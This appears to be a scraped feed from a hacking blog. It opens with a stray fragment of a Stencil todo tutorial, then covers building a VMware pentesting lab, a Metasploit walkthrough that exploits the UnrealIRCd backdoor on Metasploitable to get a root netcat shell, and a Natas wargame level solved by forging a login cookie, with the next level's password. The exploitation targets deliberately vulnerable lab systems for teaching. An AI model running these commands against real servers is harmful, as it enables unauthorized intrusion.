} return ( <li onDblClick= {this.toggleEdition}> {todoTemplate} </li> ); } The template will change depending of the isEditable State. If it’s not editable, we will show the Todo’s value and a button to remove the todo. If it’s editable, we will show an input. This input gets its value from the value Prop. We will listen for every keys down and trigger an handleKeyDown method. This template will be stocked in a todoTemplate variable that will be used in the final template. This final template is a double clickable <li> tag. The toggleEdition method will be toggled by the onDblClick event. The todoTemplate is finally inserted inside this <li> tag. The Todo’s changes will go through the handleKeyDown method: handleKeyDown = e => { if (e.code === "Enter") { this.updateThisTodo(e.target.value); this.isEditable = false; } }; If the ‘Enter’ key is typed, we will pass the input’s value to the updateThisTodo method and set the isEditable State to false. The events will be emitted by the following methods: removeThisTodo = () => { this.removeTodo.emit(this.id); } updateThisTodo(value) { this.updateTodo.emit({value: value, id: this.id}); } removeThisTodo will emit the Todo’s id and updateThisTodo will emit the input’s value and the Component’s id to update to the TodoList. The id Prop can be used because it will always stay the same. However, we can’t use the value Prop because it can’t be modified. We can now go back to the TodoList to receive those events. TodoList: The final touch Starting with the easiest method: @Listen('removeTodo') removeTodo(event) { this.todos = this.todos.filter((todo) => { return todo.id !== event.detail; }); } We start listening for the ‘removeTodo’ event by using the Listen Decorator we imported earlier. When this event is received, the removeTodo method is called. This method receives an event parameter and we will only use its detail field which contains the todo’s id. All we need to do is recreate the todos State by filtering the Todo matching the received id. Our final lines of code: @Listen('updateTodo') updateValue(event) { const todos = this.todos.concat([]); let todoToUpdate = todos.filter((todo) => { return todo.id === event.detail.id; })[0]; todoToUpdate.value = event.detail.value; this.todos = todos; } This time, we listen for the updateTodo event and trigger the updateValue method. The event.detail contains the todo’s id and its updated value. The first line allows us to create a new temporary todos array. We can’t do: const todos = this.todos; This won’t create a new array. It will just point to the current todos State. Our goal here is updating the temporary todos array then use it to recreate the todos State in order to re-render the TodoList template and recreate the Todo child Components. We go through the todos and filter the one matching the id. We update its value and finally recreate the todos State. And Voila! We have our Stencil Todo application working: Conclusion Stencil is very close to React, we can presume that future features will be very familiar to React devs (Redux?). For now, we can put on the side Angular‘s tags and focus on learning a whole new technology. However, don’t forget that Ionic will convert its code to Stencil, you can use React, Vue, Angular, it’s not going to be an issue.
https://www.javascripttuts.com/creating-a-todo-application-using-stencil/
CC-MAIN-2020-50
refinedweb
1,979
57.47
tag:blogger.com,1999:blog-41819395659769033822019-07-15T04:35:59.186-04:00Hack-A-VisionBlog for netsec, linux, windows, and hacking! New readers: If you want a list of my posts, check out my "hackive" or "popular posts" on the sidebar! If you want to support my blog there is a donate option, but do not feel obliged as this education is free!Unknownnoreply@blogger.comBlogger28125Hack-a-vision to Unfollow Blogs or "Reading List" on Google [Non-Technical]<div dir="ltr" style="text-align: left;" trbidi="on">This is a very non-technical post, but I could not find ANY information about unfollowing blogs through Blogger without directly going to the blog and clicking a bunch (which from my point of view is INCREDIBLY annoying to say the least) so I thought it might help a few people out.<br /><br />I had this problem that I somehow had a ton of random blogs followed but didn't feel like going to 100+ blogs and unfollowing them individually. After a lot of searching I finally came across a very random post that would not intuitively come up via a search engine.<br /><br /><a name='more'></a>Blogger's help suggests to go here on the main page and select the settings wheel seen here:<br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="58" src="" width="320" /></a></div>The problem with this is there's a broken link (at least for me on all my browsers)...<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="129" src="" width="640" /></a></div>Well, I finally found a fix for this stupidity and it's really simple. Go to <a href=""></a> and then the "Subscriptions" tab, then select the blogs and hit "Unsubscribe".<br /><br />Bam, done. Took way too long for me to find that, which I don't think is my fault (who looks under reader settings when it's through Blogger?).<br /><br />Also, please fix the "Reading list" error -- it's been like this for months.</div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com167 a Pentesting Lab [How-To/Linux/Windows]<div dir="ltr" style="text-align: left;" trbidi="on">Recently I bought a gaming computer with some of the best specs out there (i7, gtx670, 16gig ram, ssd, etc) and decided to finally set up my own Pentesting lab so I can practice breaking and securing "real" boxes of my own.<br /><br />My current setup consists of my router connected to my apartment's WAN using DHCP, which issues private DHCP leases to the connected boxes on my network. I have a Windows 7 laptop of my own, a Windows 7 desktop host machine running VMs, and a Ubuntu 12.10 server for all my main Linux needs (I have SSH set up so I can access this box from work and other places).<br />My friends also connect to this network via Wifi, so there are random Win7 and OSx computers connected to it.<br />As for my virtualized boxes, I have Windows XP (different SPs), Windows Server 2003, 2008, and 2012, Metasploitable 2, DVL (Damn Vulnerable Linux), BackTrack5R3 (I hack from this box), and a few other exploitable machines. I will be setting up a Windows Vista and a couple other *nix distros to exploit, as well.<br /><br /><a name='more'></a><br />I am using <a href="" target="_blank">VMWare Workstation</a>, which is provided to me for free through my University and our <a href="" target="_blank">MSDNAA </a>agreement. For those who do not have access to such great tools, you can use the free version <a href="" target="_blank">VMWare Player</a>, but be forewarned that certain options may be different. I apologize if there are any problems when following my guides using Player instead of Workstation, but I will do my best to remedy these.<br /><h3 style="text-align: center;">Getting Started</h3><div>If you already have a VM loader or specifically a VMWare application installed, ignore the following instruction as they are for people who do not have a VM loader.</div><div><br /></div><div>From the links below, download your flavor of VMWare you can use (if you are a student who has MSDNAA access, I highly suggest getting Workstation). If you do not like VMWare, there are also alternatives, but I suggest using VMWare as all my instructions will be using that.</div><div><br /></div><div><b>VM Applications:</b></div><div><ul style="text-align: left;"><li><a href="" target="_blank">VMWare Workstation</a> - Requires Activation Key after 30 days</li><li><a href="" target="_blank">VMWare Player</a> - Free</li><li><a href="" target="_blank">VirtualBox </a>- Free (Download links for Windows, OSx, and Linux)</li><li><a href="" target="_blank">Parallels </a>- Costs Money; For OSx</li><li><a href="" target="_blank">QEMU</a> - Free; For Linux</li><li><a href="" target="_blank">Virtual PC</a> - Free; For running XP (honestly just use one of the above, but to each their own)</li></ul><div>Once you have installed the VM application, we can start by collecting vulnerable VMs and the sort.</div></div><div><br /></div><h3 style="text-align: center;">Collecting Vulnerable VMs</h3><div>This may require a decent amount of hard disk space, so I would suggest making sure you have enough to download and keep the drives on your disk. I have a few separate, cheap 7200rpm WD's from 250-500gigs specifically for downloading and running VMs off of.</div><div><br /></div><div><b>Below is a list of exploitable and vulnerable VMs/ISOs(updated 10/29/12):</b><br /><br /><a href="" target="_blank">Metasploitable 2</a> - Probably the best VM to use. Complete vulnerable VM with services set up for everything. Most of my tutorials will start with exploiting this.<br /><u>Damn Vulnerable Linux 1.5</u> - Discontinued, but I have the ISO. I will upload it *somewhere* when I'm home. Either directly through this site or on a sharing site (you could torrent, but I want all the download to be able to be directly downloaded).<br /><a href="" target="_blank">LAMP Security Training</a> - LAMP stands for Linux Apache MySQL PHP, and this version is for the security testing of those.<br /><a href="" target="_blank">Open Web Application Security Project (OWASP) Broken Web Applications Project</a> - Self Explanatory; OWASP's Broken Web App Project!<br /><br /><b>Below is a list of VMs and ISOs that you can configure yourself:</b><br /><br /><a href="" target="_blank">UltimateLAMP</a> - Scroll down for the download link; a complete LAMP (Linux, Apache, MySQL, PHP) distro.<br /><br /><b>Below is a list of VMs and ISOs to hack <i>from:</i></b><br /><b><i><br /></i></b><strike><a href="" target="_blank">BackTrack5R3</a> - I use the Gnome 32bit VM one and just load it into my VMWare; all of my tutorials will be from Ubuntu 12.04 LTS, or BT5R3 (which is Ubuntu, as well).</strike> <b>BackTrack has been replaced by the following: <a href="" target="_blank">Kali Linux</a></b><br /><a href="" target="_blank">BackBox</a> - Another Ubuntu based Pentesting distro<br /><a href="" target="_blank">BlackBuntu</a> - Yet another Ubuntu based Pentesting distro<br /><br /><h3 style="text-align: center;">Creating Your Pentesting Network</h3></div><div>Now that we have a host machine with a virtual machine application (I suggest VMWare), it's time to set up your network so you can see all your exploitable (and maybe non exploitable) VMs!<br /><br />For the machines that are already built for VM usage (aka they're VMDK and not ISO), just double click the .VMX file which is the configuration file for the virtual machine, and it will automatically open with the configured VM software.<br /><br />For the machines that you downloaded in ISO format, we have to add them into our VM software. Below I will show you how to do so in VMWare Workstation (though I believe the free version of VMWare is the same).<br /><h4 style="text-align: center;">Creating a Virtual Machine from an ISO</h4></div><div>Now we'll be loading Ubuntu Server 12.04.1 LTS (Long Time Support) since it is a good operating system to mess around with and learn Linux on. Most if not all other ISO installations will be just as easy as this one.<br /><br />To start, open VMware Workstation. Mine looks like the following, but yours will have no VMs added/opened.<br /><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="" imageanchor="1" style="background-color: black; margin-left: auto; margin-right: auto;"><img border="0" height="250" src="" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">When I load up my VMware Workstation; basic view</td></tr></tbody></table>To add a new virtual machine, from the upper left "File" drop down, select "New Virtual Machine".<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="361" src="" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>We are going to select "Typical" which is the recommended setting. For most if not all VMs you will be using in your lab you can just select the typical settings. Hit next to continue to the next part which we will be...<br /><br />Selecting the installer disk image, or the ISO file that you have previously downloaded at the above or an alternative link.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="363" src="" width="400" /></a></div><br />Click on browse and locate the ISO you wish to install. We are using our Ubuntu 12.04.1, but we have many others to choose from as you can see.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="220" src="" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Once you select the correct ISO and hit next, it will prompt for some "Easy Install Information" since it recognizes that we are installing Ubuntu 64-bit.<br />For these settings, just enter what you want, but keep in mind the username cannot have capitals, and a password is required (I usually just do my first name with "test" or something lame).<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="361" src="" width="400" /></a></div><br />After you have done this, hit next as normal.<br />This part is where you will be selecting what you wish to name your VM, and where you want to store your disk files.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="362" src="" width="400" /></a></div><br />This part is important because you cannot have two of the same name (duh), and because if you store all your VMs together, as they become larger there needs to be sufficient disk space on the drive you are saving them to.<br />Name each of your Virtual Machines so you can tell them apart. Some of mine have specific names (like Metasploitable2) and some have just the distro name if its generic (like Ubuntu 12.04 LTS).<br /><br />The next step is the size of the virtual disk you will be creating for this VM. It is very important to make it large enough so that if you use it often (installing applications/writing programs/etc) it will not fill up, but not too large that you're wasting space. <b>Note that the files become larger as you use the space, so you can overshoot a bit for this.</b><br /><br />For our Ubuntu I'm just going to put it to 8gigs since I'll probably be deleting it (I already have a few Ubuntus spun up).<br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="365" src="" width="400" /></a></div><br />After clicking next, this screen shows the brief overview of what we have selected. There is also a "customize hardware" button which we will be utilizing so we do not have to change it after the creation.<br /><b>Note: We will be changing the virtual adapter (NIC - Network Interface Card) from NAT to Bridged, so if you want NAT, ignore this section.</b><br /><b>A bridged connection means that the VM will connect directly to your network like another computer through your NIC (aka it will have its own IP through DHCP/etc). </b><br /><b>The default is NAT which means that the computer is essentially the router to your VM.</b><br /><b>It all depends on what you want, but I like bridged.</b><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="363" src="" width="400" /></a></div><br />Go ahead and click the <i>Customize Hardware...</i> button so we can change a few options.<br />You will be presented with the following screen:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="" width="400" /></a></div><br />The memory is of course the RAM for our virtual machine. I will be leaving this at 1gig, but you can jack it up depending on what you want.<br /><b>Note that for VMs, it is up to you to choose how much RAM to give it. Certain pre-built VMs like Metasploitable only require a small amount, but others like Windows require more.</b><br /><b><br /></b>Like I said before, we are only changing the Network Adapter settings from NAT to bridged. Click on the "<i>Network Adapter</i>" selection under the <i>Devices </i>or click "<i>Add...</i>" if one is not there.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="" width="400" /></a></div><br />After this is finished, just click "<i>Close</i>" and "<i>Finished</i>" on the following screen, and your VM should start to boot.<br />Ubuntu will go through some checks, copy some files, and install on the virtual disk.<br />Finally it will present you with the login screen (I hope you remembered your credentials).<br /><br />This method can be used on almost any .iso to install it (any that I've seen); however like I said before, some hacking/vulnerable distros come in a pre-packaged VM like Kali or previously BackTrack.</div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com70 Metasploitable #1: Introduction & IRC Hack [Metasploit/Linux/Exploit/How-to]<div dir="ltr" style="text-align: left;" trbidi="on">Starting.<br /><div><br /></div><div.</div><div><a name='more'></a.</div><div><br /></div><div>To first understand the basics of this exploit, reading the Vulnerability Summary for CVE-2010-2075 (CVE stands for Common Vulnerabilities and Exposures) which can be read <a href="" target="_blank">here</a>. Summaries of exploits are commonly released and reviewed by the US government and other large security companies and can be <a href="" target="_blank">searched</a> for through <a href="" target="_blank">many sites</a> which <a href="" target="_blank">are useful</a> for understanding exploits and staying relevant in the security industry.</div><div><br /></div><div>If you have read the exploit summary, you should have <i>some</i>.</div><div><br /></div><div>To open Metasploit, run the command:</div><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msfconsole</span></blockquote><span style="font-family: inherit;".</span> If you receive this warning ctrl-c out of it and run<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">sudo msfconsole</span></blockquote>I receive the following:<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">root@bt:~# msfconsole<br /># cowsay++<br /> ____________<br />< metasploit ><br /> ------------</span></blockquote><blockquote class="tr_bq"><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;"> \ ,__,</span></blockquote><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;"> \ (oo)____</span></blockquote><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;"> (__) )\</span></blockquote><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;"> ||--|| *</span></blockquote></blockquote><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">=[ metasploit v4.5.0-dev [core:4.5 api:1.0]<br />+ -- --=[ 978 exploits - 523 auxiliary - 160 post<br />+ -- --=[ 262 payloads - 28 encoders - 8 nops<br />msf ></span></blockquote>Whenever you start up Metasploit, there is a cute little banner which is sometimes an animal saying "metasploit" or an astroids based ASCII art. Regardless of what you see there, the important stuff is below.<br />Metasploit will print out its version including core and API version, how many exploits, auxiliary, and post modules it has loaded as well as how many payloads, encoders, and nops it has loaded. Then it presents the user (us) with the prompt, defined by "msf >".<br /><br />From here we can start to enter commands. How do we know what to do though? You can receive the help screen and possible options by entering the command:<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">help</span></blockquote> Metasploit will output the following (I will only display a few lines since there are MANY options):<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msf > help<br />Core Commands<br />=============</span> </blockquote><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">Command Description<br /> ------- -----------<br /> ? Help menu<br /> back Move back from the current context<br /> banner Display an awesome metasploit banner<br /> cd Change the current working directory<br /> color Toggle color<br /> connect Communicate with a host</span> </blockquote><blockquote class="tr_bq"> <span style="font-family: Courier New, Courier, monospace;"><...snipped...></span></blockquote><span style="font-family: inherit;".</span><br /><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">The help command is a good reference in case you are stuck on a certain menu, or just want to learn more features of the msfconsole.</span><br /><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">To start off a pentest, we need to find the machines on the network. This step is the first step in actually pentesting a network. Note that before a pentest can occur you should have a written contract with explicit allowance for you to do so. Of course this is from a business point of view, so if you make a lab for practice like I did, you can skip right to the testing.</span><br /><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">Finding all machines and attack vectors is known as "intelligence gathering" or "enumeration" and is the most important part of conducting a penetration test. There are an infinite number of ways to collect intelligence on a network, company, or single node, but I am going to concentrate on the normal ways of attacking a lab-environment.</span><br /><span style="font-family: inherit;"><br /></span>To find all targets on our network, we would just run an nmap scan against our subnet. There are many different options for nmap, including host OS discovery, stealthy scans, tracemaps, and many others. To make this tutorial quicker and easier, we are going to assume we know the IP of our target. Since you should be conducting this in a lab environment, you should know the IP of your Metasploitable machine, as well.<br /><br />My Metasploitable machine is located at 192.168.1.110 and receives its IP address through my router's DHCP server. I will try to make it as dynamic as possible when giving instructions, but if I use screenshots, IPs may be different than yours.<br /><br />Okay, now let's <i>finally</i> start exploiting this machine.<br />As previously stated, we need to run host enumeration against this machine to see what type of services it has running and which ports are open. Inside of <i>msfconsole</i> we can utilize the database built in to save our nmap scans.<br />Run this command to insure that our database is connected:<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">db_status</span></blockquote> You should receive something along the lines of:<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">[*] postgresql connected to msf3dev</span></blockquote><span style="font-family: inherit;">If it spits out an error, then we need to connect our database; however, I will not get into this right now since I want to keep this tutorial on topic of exploitation and pentesting.</span><br /><br />To scan this target with nmap and have it placed in the Metasploit database, run the command "db_nmap".<br />For this target, we are going to run a more thorough scan:<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">db_nmap -v -sS -A [ip-address]</span></blockquote><span style="font-family: inherit;">The previous nmap options are as follows:</span><br /><blockquote class="tr_bq">-v is "verbose" which means it will output more information for us to the screen.<br />-sS is the "SYN" or "stealth" scan, which doesn't create a full connection to the host and is thus "stealthy". If you want to know more about this check out the nmap man page or other documention.<br />-A is an all-encompassing option which includes Operating System detection, version detection (like the -sV option), script scanning, and traceroute.</blockquote>Once you run this, a whole lotta stuff should come out at you. Once the scan is done you might be confused with your results, but I'll show you how to easily determine your attack vector.<br /><br />When your database has hosts in it, you can display which ones it has tracked with the "hosts" command.<br />Mine looks like this right now:<br /><br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msf > hosts<br />Hosts<br />=====<br />address mac name os_name os_flavor os_sp purpose info comments<br />------- --- ---- ------- --------- ----- ------- ---- --------<br />192.168.1.110 00:0C:29:35:72:58 Linux Ubuntu server </span> </blockquote><div>Pretty cool, right? IT has the IP, OS, flavor of OS, MAC, and more!</div><div>If we were to run a larger nmap scan, there would be many more hosts listed. This is a great way to keep track of which hosts are which while conducting a pentest.</div><div><br /></div><div>But how does this help us with our exploitation? Metasploit also has the option to display all services detected by typing "services". This is my output after scanning the Metasploitable host:</div><div><div>msf > services</div><div><br /></div><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">Services<br />========<br />host port proto name state info<br />---- ---- ----- ---- ----- ----<br />192.168.1.110 21 tcp ftp open vsftpd 2.3.4<br />192.168.1.110 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0<br />192.168.1.110 23 tcp telnet open Linux telnetd<br />192.168.1.110 25 tcp smtp open Postfix smtpd<br />192.168.1.110 53 tcp domain open ISC BIND 9.4.2<br />192.168.1.110 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2<br />192.168.1.110 111 tcp rpcbind open 2 rpc #100000<br />192.168.1.110 139 tcp netbios-ssn open Samba smbd 3.X workgroup: WORKGROUP<br />192.168.1.110 445 tcp netbios-ssn open Samba smbd 3.X workgroup: WORKGROUP<br />192.168.1.110 512 tcp exec open netkit-rsh rexecd<br />192.168.1.110 513 tcp login open <br />192.168.1.110 514 tcp tcpwrapped open <br />192.168.1.110 1099 tcp rmiregistry open GNU Classpath grmiregistry<br />192.168.1.110 1524 tcp ingreslock open <br />192.168.1.110 2049 tcp nfs open 2-4 rpc #100003<br />192.168.1.110 2121 tcp ftp open ProFTPD 1.3.1<br />192.168.1.110 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5<br />192.168.1.110 5432 tcp postgresql open PostgreSQL DB 8.3.0 - 8.3.7<br />192.168.1.110 5900 tcp vnc open VNC protocol 3.3<br />192.168.1.110 6000 tcp x11 open access denied<br />192.168.1.110 6667 tcp irc open Unreal ircd<br />192.168.1.110 8009 tcp ajp13 open Apache Jserv Protocol v1.3<br />192.168.1.110 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1</span></blockquote></div><div>Well that is quite a bit more useful. We can see the IP of the host with which port, protocol, and service is being used. On top of that, since we had version detection on, it displays more information about which version of the service is running.</div><div>We can see port 6667 is running Unreal ircd. Unreal is a server for irc (internet relay chat), and the "d" at the end of ircd stands for "daemon" which means the port is listening for a service in the background.</div><div><br /></div><div>Metasploit also has an awesome feature to find exploits, scanners, and other modules with the "search" option. We are going to run the following command to see if there's any modules for Unreal IRC:</div><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">search unreal</span></blockquote>This produces the following:<br /><br /><br />msf > search unreal<br /><br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">Matching Modules<br />================<br /> Name Disclosure Date Rank Description<br /> ---- --------------- ---- -----------<br /> exploit/linux/games/ut2004_secure 2004-06-18 00:00:00 UTC good Unreal Tournament 2004 "secure" Overflow (Linux)<br /> exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 00:00:00 UTC excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution<br /> exploit/windows/games/ut2004_secure 2004-06-18 00:00:00 UTC good Unreal Tournament 2004 "secure" Overflow (Win32)</span></blockquote><div>Unfortunately since the output is so long, it has bumped the description to the following line, but it is still readable.</div><div>We can see there are two exploits for Unreal Tournament 2004 for Linux and Windows each, but neither of these are useful. The middle result and interesting one is the exploit for UnrealIRCD 3.2.8.1 Backdoor Command Execution rated as "excellent".</div><div>To load a module in Metasploit, we use the "use" command followed by the name of the module:</div><div><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msf > use exploit/unix/irc/unreal_ircd_3281_backdoor<br />msf exploit(unreal_ircd_3281_backdoor) > </span></blockquote></div><div.</div><div><br /></div><div>Now that we have the module loaded, issuing the command "show options" will of course show us the possible options.</div><div><blockquote><span style="font-family: Courier New, Courier, monospace;">msf exploit(unreal_ircd_3281_backdoor) > show options<br />Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):<br /> Name Current Setting Required Description<br /> ---- --------------- -------- -----------<br /> RHOST yes The target address<br /> RPORT 6667 yes The target port<br />Exploit target:<br /> Id Name<br /> -- ----<br /> 0 Automatic Target</span></blockquote><span style="font-family: inherit;">There.</span><br /><span style="font-family: inherit;">To set or change an option, issue the "set" command followed by the option you wish to change and finally the variable you want to change it to, like as follows:</span><br /><br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.110<br />RHOST => 192.168.1.110</span></blockquote>Of course you would want to set your host IP to whatever the IP address is of your exploitable machine.<br /><br />Metasploit has certain "payloads" that we can use to determine what kind of code we want to execute when connecting to the host machine. We are going to statically set which payload to use in this tutorial to understand how to use them.<br />Since I know which payload I want to use, we won't search for which one to use, but if you want to, you can use the "search" command followed by what you are looking for (e.g. unix shell).<br /><br />In this case we are going to use the netcat bind payload (if you have not used netcat, I highly suggest it. I will be writing a how-to for beginners on netcat eventually). To use this payload we run the command:<br /><br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msf exploit(unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/bind_netcat<br />PAYLOAD => cmd/unix/bind_netcat</span></blockquote><div. <i>help exploit</i>).</div><div>Running our exploit results in this:</div><div><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msf exploit(unreal_ircd_3281_backdoor) > exploit -z<br />[*] Started bind />[*] Command shell session 3 opened (192.168.1.111:51923 -> 192.168.1.110:4444) at 2012-11-04 22:30:09 -0500<br />[*] Session x created in the background.</span></blockquote></div><div>We see some output, and most notibly at the bottom "command shell session opened" and "session created in the background". If we didn't run this with the -z option and with no payload, the following output would have been produced:</div><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msf exploit(unreal_ircd_3281_backdoor) > exploit<br />[*] Started reverse double />[*] Accepted the first client connection...<br />[*] Accepted the second client connection...<br />[*] Command: echo aeuPuvLl90yRmhts;<br />[*] Writing to socket A<br />[*] Writing to socket B<br />[*] Reading from sockets...<br />[*] Reading from socket B<br />[*] B: "aeuPuvLl90yRmhts\r\n"<br />[*] Matching...<br />[*] A is input...<br />[*] Command shell session x opened (192.168.1.111:4444 -> 192.168.1.110:49034) at 2012-11-03 23:08:41 -0400</span></blockquote><div".</div><div><br /></div><div.</div><div><br /></div><div>Now, we have session x created in the background, how do we access it? Of course Metasploit has an awesome command for this, which is "sessions":</div><div><blockquote><span style="font-family: Courier New, Courier, monospace;">msf exploit(unreal_ircd_3281_backdoor) > sessions<br />Active sessions<br />===============<br /> Id Type Information Connection<br /> -- ---- ----------- ----------<br /> x shell unix 192.168.1.111:51923 -> 192.168.1.110:4444 (192.168.1.110)</span></blockquote>Of course the IP addresses will be different than yours since we do not have the exact same network, but it should display your exploited system's IP address. The Id will also be the session # that you created, and is variable to how many sessions you have created.<br /><br />Finally how we interact with this session is to issue the following command:<br /><br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">msf exploit(unreal_ircd_3281_backdoor) > sessions -i x<br />[*] Starting interaction with x...<br />pwd<br />/etc/unreal<br />whoami<br />root<br />id<br />uid=0(root) gid=0(root)</span></blockquote.<br /><br />This completes our tutorial on exploiting the Unreal IRCd backdoor vulnerability in Metasploit and basic tutorial for using msfconsole. If there are any questions as always post them and I will hopefully respond. Thanks for reading!</div><br /></div><br /></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com213 Wargame "Natas" Level 5 [How-To/Web]<div dir="ltr" style="text-align: left;" trbidi="on">So we cracked <a href="" target="_blank">Level 4</a> with some knowledge of HTTP headers and requests, and used a cool little app to help us out. Now we are on <a href="" target="_blank">Level 5</a>, and after logging it it presents us with a weird page:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="146" src="" width="640" /></a></div><br />Well wait, didn't we just log in? Why does it say we aren't?<br /><br /><a name='more'></a>Looks like the password didn't authenticate us correctly, OR there's something blocking our authentication even further.<br /><br />Right away, I knew what to do. What is something in a browser that holds certain information, including login information? Cookies! But how am I going to check out the delicious cookies? Javascript!<br /><br />Don't worry, the Javascript we'll be using is <i>really easy</i> to understand. I don't even know a lot of JS, but it's easy for me to do.<br /><br />Below is the Javascript that we can use to view the cookies on the current "document" (webpage):<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">alert(document.cookie);</span></blockquote><span style="font-family: inherit;">But how do we get this to run on the website? We put it into the navigation bar!</span><br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="95" src="" width="400" /></a></div><br />What this is doing is running a Javascript script denoted by the "javascript:" and it will pop up an "alert" window with the document cookie.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="" width="400" /></a></div><br />Looks like a bunch of gibberish... but wait, what's that at the end!<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">loggedin=0</span></blockquote><span style="font-family: inherit;">Well, as we know in binary, 0 is false, and 1 is true, so it's saying we're not logged in! How do we go about changing this? We use Javascript again to exploit a XSS (cross side scripting) attack and change the value of the cookie.</span><br /><br />The Javascript this time is:<br /><blockquote class="tr_bq"><span style="font-family: Courier New, Courier, monospace;">void(document.Which means that the return type is "void" (returns nothing), and we want to set the cookie in the current document (webpage) with the value "loggedin=0". We know that value already exists in the cookie because we saw it, so it should change it from 0 (not authenticated) to 1 (authenticated).</span><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="73" src="" width="400" /></a></div><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">Now hit enter and lets see what happens.</span><br /><span style="font-family: inherit;">Well, nothing should really happen that you can see, because we had the return type set as "void".</span><br /><span style="font-family: inherit;"><br /></span><span style="font-family: inherit;">What you can do now, is either run the Javascript to view the cookie again, or just refresh to see:</span><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="" width="640" /></a></div><span style="font-family: inherit;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"></div><span style="font-family: inherit;">So we see natas6:</span><span style="background-color: white;">mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU.</span><br /><span style="background-color: white;"><br /></span><span style="background-color: white;">On to <a href="" target="_blank">Level 6</a>.</span></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com32 Wargame "Natas" Level 4 